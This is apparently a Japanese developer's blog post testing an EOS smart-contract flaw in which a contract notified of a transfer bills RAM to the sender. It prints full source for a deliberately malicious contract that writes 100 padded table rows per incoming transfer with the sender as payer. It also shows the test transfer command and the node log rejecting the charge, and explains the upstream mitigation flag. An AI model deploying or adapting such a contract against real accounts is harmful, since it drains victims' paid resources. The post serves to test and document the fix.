EOS 通知仕組み ですが、悪用されると、通知元アカウントの RAM
が使い切らせる悪意行為ができそうなので、試してみます。
合约中require_recipient引发的吞噬用户RAM漏洞
悪意のスマートコントラクトソース
#include <eosiolib/eosio.hpp>
#include <eosiolib/asset.hpp>
#include <string>
using namespace eosio;
using std::string;
class[[eosio::contract]] alice : public eosio::contract{
public:
alice(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}
[[eosio::action]]
void transfer(name from, name to, asset quantity, string memo) {
print("_code : ", name{_code}, ", _self : ", name{_self});
if (from == _self || to != _self)
{
return;
}
histories_index histories(_self, _self.value);
for (int i = 0; i < 100; i++)
{
// use from as payer!!
histories.emplace(from, [&](auto &history) {
history.id = histories.available_primary_key();
history.from = from;
history.to = to;
history.quantity = quantity;
history.big_dummy_str = std::string("wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww");
});
}
}
private:
struct [[eosio::table]] history
{
uint64_t id;
name from;
name to;
asset quantity;
string big_dummy_str;
auto primary_key() const { return id; }
};
typedef eosio::multi_index<"histories"_n, history> histories_index;
};
#define EOSIO_DISPATCH_EX(TYPE, MEMBERS) \
extern "C" { \
void apply(uint64_t receiver, uint64_t code, uint64_t action) \
{ \
if (code == receiver || code == "eosio.token"_n.value) \
{ \
switch (action) \
{ \
EOSIO_DISPATCH_HELPER(TYPE, MEMBERS) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
} \
EOSIO_DISPATCH_EX(alice, (transfer))
動作確認
コンパイルして、alice
アカウントにデプロイしておいてから、bob
から alice
に送金してみます。
$ cleos push action eosio.token transfer '["bob", "alice", "12.0000 EOS", "memo"]' -p bob
Error 3100006: Subjective exception thrown during block productio
nodeos
側のログを確認してみると、下記のエラーになっていました。
error 2018-12-12T00:33:00.973 thread-0 http_plugin.cpp:580 handle_exception ] FC Exception encountered while processing chain.push_transaction
debug 2018-12-12T00:33:00.976 thread-0 http_plugin.cpp:581 handle_exception ] Exception Details: 3100006 subjective_block_production_exception: Subjective exception thrown during block production
Cannot charge RAM to other accounts during notify.
{}
thread-0 apply_context.cpp:387 update_db_usage
pending console output: _code : eosio.token, _self : alice
{"console":"_code : eosio.token, _self : alice"}
thread-0 apply_context.cpp:72 exec_one
結論
既に対策が取っていますね。
ソースを確認してみると、下記の PR で、対応されました。
-
allow_ram_billing_in_notify
というフラグを追加し、通知する時RAM
を消費することを許すかどうかを決める - デフォルト値が
false
になって、デフォルト許さないようになる - アクションを実行する時は、上記フラグをチェックしている
EOS_ASSERT( control.is_ram_billing_in_notify_allowed() || (receiver == act.account) || (receiver == payer) || privileged,
subjective_block_production_exception, "Cannot charge RAM to other accounts during notify." );